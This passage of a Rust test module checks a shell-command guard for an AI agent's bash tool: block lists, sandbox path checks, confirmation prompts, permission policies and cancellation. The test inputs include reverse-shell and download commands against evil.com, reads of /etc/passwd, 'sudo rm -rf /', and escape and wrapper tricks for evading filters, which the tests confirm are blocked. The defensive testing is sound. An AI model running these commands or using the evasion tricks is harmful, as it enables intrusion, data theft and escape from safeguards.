1065        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1066        assert!(
1067            executor
1068                .find_blocked_command("ncat --listen 8080")
1069                .is_some()
1070        );
1071        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1072    }
1073
1074    #[test]
1075    fn system_control_blocked() {
1076        let executor = ShellExecutor::new(&default_config());
1077        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1078        assert!(executor.find_blocked_command("reboot").is_some());
1079        assert!(executor.find_blocked_command("halt").is_some());
1080    }
1081
1082    #[test]
1083    fn nc_trailing_space_avoids_ncp() {
1084        let executor = ShellExecutor::new(&default_config());
1085        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1086    }
1087
1088    // --- user pattern normalization ---
1089
1090    #[test]
1091    fn mixed_case_user_patterns_deduped() {
1092        let config = ShellConfig {
1093            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1094            ..default_config()
1095        };
1096        let executor = ShellExecutor::new(&config);
1097        let count = executor
1098            .blocked_commands
1099            .iter()
1100            .filter(|c| c.as_str() == "sudo")
1101            .count();
1102        assert_eq!(count, 1);
1103    }
1104
1105    #[test]
1106    fn user_pattern_stored_lowercase() {
1107        let config = ShellConfig {
1108            blocked_commands: vec!["MyCustom".to_owned()],
1109            ..default_config()
1110        };
1111        let executor = ShellExecutor::new(&config);
1112        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1113        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1114    }
1115
1116    // --- allowed_commands tests ---
1117
1118    #[test]
1119    fn allowed_commands_removes_from_default() {
1120        let config = ShellConfig {
1121            allowed_commands: vec!["curl".to_owned()],
1122            ..default_config()
1123        };
1124        let executor = ShellExecutor::new(&config);
1125        assert!(
1126            executor
1127                .find_blocked_command("curl https://example.com")
1128                .is_none()
1129        );
1130        assert!(executor.find_blocked_command("sudo rm").is_some());
1131    }
1132
1133    #[test]
1134    fn allowed_commands_case_insensitive() {
1135        let config = ShellConfig {
1136            allowed_commands: vec!["CURL".to_owned()],
1137            ..default_config()
1138        };
1139        let executor = ShellExecutor::new(&config);
1140        assert!(
1141            executor
1142                .find_blocked_command("curl https://example.com")
1143                .is_none()
1144        );
1145    }
1146
1147    #[test]
1148    fn allowed_does_not_override_explicit_block() {
1149        let config = ShellConfig {
1150            blocked_commands: vec!["curl".to_owned()],
1151            allowed_commands: vec!["curl".to_owned()],
1152            ..default_config()
1153        };
1154        let executor = ShellExecutor::new(&config);
1155        assert!(
1156            executor
1157                .find_blocked_command("curl https://example.com")
1158                .is_some()
1159        );
1160    }
1161
1162    #[test]
1163    fn allowed_unknown_command_ignored() {
1164        let config = ShellConfig {
1165            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1166            ..default_config()
1167        };
1168        let executor = ShellExecutor::new(&config);
1169        assert!(executor.find_blocked_command("sudo rm").is_some());
1170        assert!(
1171            executor
1172                .find_blocked_command("curl https://example.com")
1173                .is_some()
1174        );
1175    }
1176
1177    #[test]
1178    fn empty_allowed_commands_changes_nothing() {
1179        let executor = ShellExecutor::new(&default_config());
1180        assert!(
1181            executor
1182                .find_blocked_command("curl https://example.com")
1183                .is_some()
1184        );
1185        assert!(executor.find_blocked_command("sudo rm").is_some());
1186        assert!(
1187            executor
1188                .find_blocked_command("wget http://evil.com")
1189                .is_some()
1190        );
1191    }
1192
1193    // --- Phase 1: sandbox tests ---
1194
1195    #[test]
1196    fn extract_paths_from_code() {
1197        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1198        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1199    }
1200
1201    #[test]
1202    fn extract_paths_handles_trailing_chars() {
1203        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1204        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1205    }
1206
1207    #[test]
1208    fn extract_paths_detects_relative() {
1209        let paths = extract_paths("cat ./file.txt ../other");
1210        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1211    }
1212
1213    #[test]
1214    fn sandbox_allows_cwd_by_default() {
1215        let executor = ShellExecutor::new(&default_config());
1216        let cwd = std::env::current_dir().unwrap();
1217        let cwd_path = cwd.display().to_string();
1218        let code = format!("cat {cwd_path}/file.txt");
1219        assert!(executor.validate_sandbox(&code).is_ok());
1220    }
1221
1222    #[test]
1223    fn sandbox_rejects_path_outside_allowed() {
1224        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1225        let executor = ShellExecutor::new(&config);
1226        let result = executor.validate_sandbox("cat /etc/passwd");
1227        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1228    }
1229
1230    #[test]
1231    fn sandbox_no_absolute_paths_passes() {
1232        let config = sandbox_config(vec!["/tmp".into()]);
1233        let executor = ShellExecutor::new(&config);
1234        assert!(executor.validate_sandbox("echo hello").is_ok());
1235    }
1236
1237    #[test]
1238    fn sandbox_rejects_dotdot_traversal() {
1239        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1240        let executor = ShellExecutor::new(&config);
1241        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1242        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1243    }
1244
1245    #[test]
1246    fn sandbox_rejects_bare_dotdot() {
1247        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1248        let executor = ShellExecutor::new(&config);
1249        let result = executor.validate_sandbox("cd ..");
1250        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1251    }
1252
1253    #[test]
1254    fn sandbox_rejects_relative_dotslash_outside() {
1255        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1256        let executor = ShellExecutor::new(&config);
1257        let result = executor.validate_sandbox("cat ./secret.txt");
1258        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1259    }
1260
1261    #[test]
1262    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1263        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1264        let executor = ShellExecutor::new(&config);
1265        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1266        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1267    }
1268
1269    #[test]
1270    fn has_traversal_detects_dotdot() {
1271        assert!(has_traversal("../etc/passwd"));
1272        assert!(has_traversal("./foo/../bar"));
1273        assert!(has_traversal("/tmp/sandbox/../../etc"));
1274        assert!(has_traversal(".."));
1275        assert!(!has_traversal("./safe/path"));
1276        assert!(!has_traversal("/absolute/path"));
1277        assert!(!has_traversal("no-dots-here"));
1278    }
1279
1280    #[test]
1281    fn extract_paths_detects_dotdot_standalone() {
1282        let paths = extract_paths("cd ..");
1283        assert_eq!(paths, vec!["..".to_owned()]);
1284    }
1285
1286    // --- Phase 1: allow_network tests ---
1287
1288    #[test]
1289    fn allow_network_false_blocks_network_commands() {
1290        let config = ShellConfig {
1291            allow_network: false,
1292            ..default_config()
1293        };
1294        let executor = ShellExecutor::new(&config);
1295        assert!(
1296            executor
1297                .find_blocked_command("curl https://example.com")
1298                .is_some()
1299        );
1300        assert!(
1301            executor
1302                .find_blocked_command("wget http://example.com")
1303                .is_some()
1304        );
1305        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1306    }
1307
1308    #[test]
1309    fn allow_network_true_keeps_default_behavior() {
1310        let config = ShellConfig {
1311            allow_network: true,
1312            ..default_config()
1313        };
1314        let executor = ShellExecutor::new(&config);
1315        // Network commands are still blocked by DEFAULT_BLOCKED
1316        assert!(
1317            executor
1318                .find_blocked_command("curl https://example.com")
1319                .is_some()
1320        );
1321    }
1322
1323    // --- Phase 2a: confirmation tests ---
1324
1325    #[test]
1326    fn find_confirm_command_matches_pattern() {
1327        let config = ShellConfig {
1328            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1329            ..default_config()
1330        };
1331        let executor = ShellExecutor::new(&config);
1332        assert_eq!(
1333            executor.find_confirm_command("rm /tmp/file.txt"),
1334            Some("rm ")
1335        );
1336        assert_eq!(
1337            executor.find_confirm_command("git push -f origin main"),
1338            Some("git push -f")
1339        );
1340    }
1341
1342    #[test]
1343    fn find_confirm_command_case_insensitive() {
1344        let config = ShellConfig {
1345            confirm_patterns: vec!["drop table".into()],
1346            ..default_config()
1347        };
1348        let executor = ShellExecutor::new(&config);
1349        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1350    }
1351
1352    #[test]
1353    fn find_confirm_command_no_match() {
1354        let config = ShellConfig {
1355            confirm_patterns: vec!["rm ".into()],
1356            ..default_config()
1357        };
1358        let executor = ShellExecutor::new(&config);
1359        assert!(executor.find_confirm_command("echo hello").is_none());
1360    }
1361
1362    #[tokio::test]
1363    async fn confirmation_required_returned() {
1364        let config = ShellConfig {
1365            confirm_patterns: vec!["rm ".into()],
1366            ..default_config()
1367        };
1368        let executor = ShellExecutor::new(&config);
1369        let response = "```bash\nrm file.txt\n```";
1370        let result = executor.execute(response).await;
1371        assert!(matches!(
1372            result,
1373            Err(ToolError::ConfirmationRequired { .. })
1374        ));
1375    }
1376
1377    #[tokio::test]
1378    async fn execute_confirmed_skips_confirmation() {
1379        let config = ShellConfig {
1380            confirm_patterns: vec!["echo".into()],
1381            ..default_config()
1382        };
1383        let executor = ShellExecutor::new(&config);
1384        let response = "```bash\necho confirmed\n```";
1385        let result = executor.execute_confirmed(response).await;
1386        assert!(result.is_ok());
1387        let output = result.unwrap().unwrap();
1388        assert!(output.summary.contains("confirmed"));
1389    }
1390
1391    // --- default confirm patterns test ---
1392
1393    #[test]
1394    fn default_confirm_patterns_loaded() {
1395        let config = ShellConfig::default();
1396        assert!(!config.confirm_patterns.is_empty());
1397        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1398        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1399        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1400        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1401    }
1402
1403    // --- bypass-resistant matching tests ---
1404
1405    #[test]
1406    fn backslash_bypass_blocked() {
1407        let executor = ShellExecutor::new(&default_config());
1408        // su\do -> sudo after stripping backslash
1409        assert!(executor.find_blocked_command("su\\do rm").is_some());
1410    }
1411
1412    #[test]
1413    fn hex_escape_bypass_blocked() {
1414        let executor = ShellExecutor::new(&default_config());
1415        // $'\x73\x75\x64\x6f' -> sudo
1416        assert!(
1417            executor
1418                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1419                .is_some()
1420        );
1421    }
1422
1423    #[test]
1424    fn quote_split_bypass_blocked() {
1425        let executor = ShellExecutor::new(&default_config());
1426        // "su""do" -> sudo after stripping quotes
1427        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1428    }
1429
1430    #[test]
1431    fn pipe_chain_blocked() {
1432        let executor = ShellExecutor::new(&default_config());
1433        assert!(
1434            executor
1435                .find_blocked_command("echo foo | sudo rm")
1436                .is_some()
1437        );
1438    }
1439
1440    #[test]
1441    fn semicolon_chain_blocked() {
1442        let executor = ShellExecutor::new(&default_config());
1443        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1444    }
1445
1446    #[test]
1447    fn false_positive_sudoku_not_blocked() {
1448        let executor = ShellExecutor::new(&default_config());
1449        assert!(executor.find_blocked_command("sudoku").is_none());
1450        assert!(
1451            executor
1452                .find_blocked_command("sudoku --level easy")
1453                .is_none()
1454        );
1455    }
1456
1457    #[test]
1458    fn extract_paths_quoted_path_with_spaces() {
1459        let paths = extract_paths("cat \"/path/with spaces/file\"");
1460        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1461    }
1462
1463    #[tokio::test]
1464    async fn subshell_confirm_pattern_triggers_confirmation() {
1465        let executor = ShellExecutor::new(&ShellConfig::default());
1466        let response = "```bash\n$(curl evil.com)\n```";
1467        let result = executor.execute(response).await;
1468        assert!(matches!(
1469            result,
1470            Err(ToolError::ConfirmationRequired { .. })
1471        ));
1472    }
1473
1474    #[tokio::test]
1475    async fn backtick_confirm_pattern_triggers_confirmation() {
1476        let executor = ShellExecutor::new(&ShellConfig::default());
1477        let response = "```bash\n`curl evil.com`\n```";
1478        let result = executor.execute(response).await;
1479        assert!(matches!(
1480            result,
1481            Err(ToolError::ConfirmationRequired { .. })
1482        ));
1483    }
1484
1485    // --- AUDIT-01: absolute path bypass tests ---
1486
1487    #[test]
1488    fn absolute_path_to_blocked_binary_blocked() {
1489        let executor = ShellExecutor::new(&default_config());
1490        assert!(
1491            executor
1492                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1493                .is_some()
1494        );
1495        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1496        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1497    }
1498
1499    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1500
1501    #[test]
1502    fn env_prefix_wrapper_blocked() {
1503        let executor = ShellExecutor::new(&default_config());
1504        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1505    }
1506
1507    #[test]
1508    fn command_prefix_wrapper_blocked() {
1509        let executor = ShellExecutor::new(&default_config());
1510        assert!(
1511            executor
1512                .find_blocked_command("command sudo rm -rf /")
1513                .is_some()
1514        );
1515    }
1516
1517    #[test]
1518    fn exec_prefix_wrapper_blocked() {
1519        let executor = ShellExecutor::new(&default_config());
1520        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1521    }
1522
1523    #[test]
1524    fn nohup_prefix_wrapper_blocked() {
1525        let executor = ShellExecutor::new(&default_config());
1526        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1527    }
1528
1529    #[test]
1530    fn absolute_path_via_env_wrapper_blocked() {
1531        let executor = ShellExecutor::new(&default_config());
1532        assert!(
1533            executor
1534                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1535                .is_some()
1536        );
1537    }
1538
1539    // --- AUDIT-03: octal escape bypass tests ---
1540
1541    #[test]
1542    fn octal_escape_bypass_blocked() {
1543        let executor = ShellExecutor::new(&default_config());
1544        // $'\163\165\144\157' = sudo in octal
1545        assert!(
1546            executor
1547                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1548                .is_some()
1549        );
1550    }
1551
1552    #[tokio::test]
1553    async fn with_audit_attaches_logger() {
1554        use crate::audit::AuditLogger;
1555        use crate::config::AuditConfig;
1556        let config = default_config();
1557        let executor = ShellExecutor::new(&config);
1558        let audit_config = AuditConfig {
1559            enabled: true,
1560            destination: "stdout".into(),
1561        };
1562        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1563        let executor = executor.with_audit(logger);
1564        assert!(executor.audit_logger.is_some());
1565    }
1566
1567    #[test]
1568    fn chrono_now_returns_valid_timestamp() {
1569        let ts = chrono_now();
1570        assert!(!ts.is_empty());
1571        let parsed: u64 = ts.parse().unwrap();
1572        assert!(parsed > 0);
1573    }
1574
1575    #[cfg(unix)]
1576    #[tokio::test]
1577    async fn execute_bash_injects_extra_env() {
1578        let mut env = std::collections::HashMap::new();
1579        env.insert(
1580            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1581            "hello-from-env".to_owned(),
1582        );
1583        let (result, code) = execute_bash(
1584            "echo $ZEPH_TEST_INJECTED_VAR",
1585            Duration::from_secs(5),
1586            None,
1587            None,
1588            Some(&env),
1589        )
1590        .await;
1591        assert_eq!(code, 0);
1592        assert!(result.contains("hello-from-env"));
1593    }
1594
1595    #[cfg(unix)]
1596    #[tokio::test]
1597    async fn shell_executor_set_skill_env_injects_vars() {
1598        let config = ShellConfig {
1599            timeout: 5,
1600            allowed_commands: vec![],
1601            blocked_commands: vec![],
1602            allowed_paths: vec![],
1603            confirm_patterns: vec![],
1604            allow_network: false,
1605        };
1606        let executor = ShellExecutor::new(&config);
1607        let mut env = std::collections::HashMap::new();
1608        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1609        executor.set_skill_env(Some(env));
1610        use crate::executor::ToolExecutor;
1611        let result = executor
1612            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1613            .await
1614            .unwrap()
1615            .unwrap();
1616        assert!(result.summary.contains("injected-value"));
1617        executor.set_skill_env(None);
1618    }
1619
1620    #[cfg(unix)]
1621    #[tokio::test]
1622    async fn execute_bash_error_handling() {
1623        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1624        assert_eq!(result, "(no output)");
1625        assert_eq!(code, 1);
1626    }
1627
1628    #[cfg(unix)]
1629    #[tokio::test]
1630    async fn execute_bash_command_not_found() {
1631        let (result, _) = execute_bash(
1632            "nonexistent-command-xyz",
1633            Duration::from_secs(5),
1634            None,
1635            None,
1636            None,
1637        )
1638        .await;
1639        assert!(result.contains("[stderr]") || result.contains("[error]"));
1640    }
1641
1642    #[test]
1643    fn extract_paths_empty() {
1644        assert!(extract_paths("").is_empty());
1645    }
1646
1647    #[tokio::test]
1648    async fn policy_deny_blocks_command() {
1649        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1650        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1651        let response = "```bash\nforbidden command\n```";
1652        let result = executor.execute(response).await;
1653        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1654    }
1655
1656    #[tokio::test]
1657    async fn policy_ask_requires_confirmation() {
1658        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1659        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1660        let response = "```bash\nrisky operation\n```";
1661        let result = executor.execute(response).await;
1662        assert!(matches!(
1663            result,
1664            Err(ToolError::ConfirmationRequired { .. })
1665        ));
1666    }
1667
1668    #[tokio::test]
1669    async fn policy_allow_skips_checks() {
1670        use crate::permissions::PermissionRule;
1671        use std::collections::HashMap;
1672        let mut rules = HashMap::new();
1673        rules.insert(
1674            "bash".to_owned(),
1675            vec![PermissionRule {
1676                pattern: "*".to_owned(),
1677                action: PermissionAction::Allow,
1678            }],
1679        );
1680        let policy = PermissionPolicy::new(rules);
1681        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1682        let response = "```bash\necho hello\n```";
1683        let result = executor.execute(response).await;
1684        assert!(result.is_ok());
1685    }
1686
1687    #[tokio::test]
1688    async fn blocked_command_logged_to_audit() {
1689        use crate::audit::AuditLogger;
1690        use crate::config::AuditConfig;
1691        let config = ShellConfig {
1692            blocked_commands: vec!["dangerous".to_owned()],
1693            ..default_config()
1694        };
1695        let audit_config = AuditConfig {
1696            enabled: true,
1697            destination: "stdout".into(),
1698        };
1699        let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1700        let executor = ShellExecutor::new(&config).with_audit(logger);
1701        let response = "```bash\ndangerous command\n```";
1702        let result = executor.execute(response).await;
1703        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1704    }
1705
1706    #[test]
1707    fn tool_definitions_returns_bash() {
1708        let executor = ShellExecutor::new(&default_config());
1709        let defs = executor.tool_definitions();
1710        assert_eq!(defs.len(), 1);
1711        assert_eq!(defs[0].id, "bash");
1712        assert_eq!(
1713            defs[0].invocation,
1714            crate::registry::InvocationHint::FencedBlock("bash")
1715        );
1716    }
1717
1718    #[test]
1719    fn tool_definitions_schema_has_command_param() {
1720        let executor = ShellExecutor::new(&default_config());
1721        let defs = executor.tool_definitions();
1722        let obj = defs[0].schema.as_object().unwrap();
1723        let props = obj["properties"].as_object().unwrap();
1724        assert!(props.contains_key("command"));
1725        let req = obj["required"].as_array().unwrap();
1726        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1727    }
1728
1729    #[tokio::test]
1730    #[cfg(not(target_os = "windows"))]
1731    async fn cancel_token_kills_child_process() {
1732        let token = CancellationToken::new();
1733        let token_clone = token.clone();
1734        tokio::spawn(async move {
1735            tokio::time::sleep(Duration::from_millis(100)).await;
1736            token_clone.cancel();
1737        });
1738        let (result, code) = execute_bash(
1739            "sleep 60",
1740            Duration::from_secs(30),
1741            None,
1742            Some(&token),
1743            None,
1744        )
1745        .await;
1746        assert_eq!(code, 130);
1747        assert!(result.contains("[cancelled]"));
1748    }
1749
1750    #[tokio::test]
1751    #[cfg(not(target_os = "windows"))]
1752    async fn cancel_token_none_does_not_cancel() {
1753        let (result, code) =
1754            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1755        assert_eq!(code, 0);
1756        assert!(result.contains("ok"));
1757    }
1758
1759    #[tokio::test]
1760    #[cfg(not(target_os = "windows"))]
1761    async fn cancel_kills_child_process_group() {
1762        use std::path::Path;
1763        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1764        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1765        let token = CancellationToken::new();
1766        let token_clone = token.clone();
1767        tokio::spawn(async move {
1768            tokio::time::sleep(Duration::from_millis(200)).await;
1769            token_clone.cancel();
1770        });
1771        let (result, code) =
1772            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1773        assert_eq!(code, 130);
1774        assert!(result.contains("[cancelled]"));
1775        // Wait briefly, then verify the subprocess did NOT create the marker file
1776        tokio::time::sleep(Duration::from_millis(500)).await;
1777        assert!(
1778            !Path::new(&marker).exists(),
1779            "subprocess should have been killed with process group"
1780        );
1781    }
1782
1783    #[tokio::test]
1784    #[cfg(not(target_os = "windows"))]
1785    async fn shell_executor_cancel_returns_cancelled_error() {
1786        let token = CancellationToken::new();
1787        let token_clone = token.clone();
1788        tokio::spawn(async move {
1789            tokio::time::sleep(Duration::from_millis(100)).await;
1790            token_clone.cancel();
1791        });
1792        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1793        let response = "```bash\nsleep 60\n```";
1794        let result = executor.execute(response).await;
1795        assert!(matches!(result, Err(ToolError::Cancelled)));
1796    }
1797
1798    #[tokio::test]
1799    #[cfg(not(target_os = "windows"))]
1800    async fn execute_tool_call_valid_command() {
1801        let executor = ShellExecutor::new(&default_config());
1802        let call = ToolCall {
1803            tool_id: "bash".to_owned(),
1804            params: [("command".to_owned(), serde_json::json!("echo hi"))]
1805                .into_iter()
1806                .collect(),
1807        };
1808        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1809        assert!(result.summary.contains("hi"));
1810    }
1811
1812    #[tokio::test]
1813    async fn execute_tool_call_missing_command_returns_invalid_params() {
1814        let executor = ShellExecutor::new(&default_config());
1815        let call = ToolCall {
1816            tool_id: "bash".to_owned(),
1817            params: serde_json::Map::new(),
1818        };
1819        let result = executor.execute_tool_call(&call).await;
1820        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1821    }
1822
1823    #[tokio::test]
1824    async fn execute_tool_call_empty_command_returns_none() {
1825        let executor = ShellExecutor::new(&default_config());
1826        let call = ToolCall {
1827            tool_id: "bash".to_owned(),
1828            params: [("command".to_owned(), serde_json::json!(""))]
1829                .into_iter()
1830                .collect(),
1831        };
1832        let result = executor.execute_tool_call(&call).await.unwrap();
1833        assert!(result.is_none());
1834    }
1835}